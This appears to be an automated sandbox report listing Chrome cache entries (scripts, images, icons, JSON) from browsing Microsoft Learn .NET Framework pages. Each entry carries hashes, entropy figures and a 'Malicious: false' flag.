MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	dropped
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	downloaded
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-ignite-2024.jpg
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
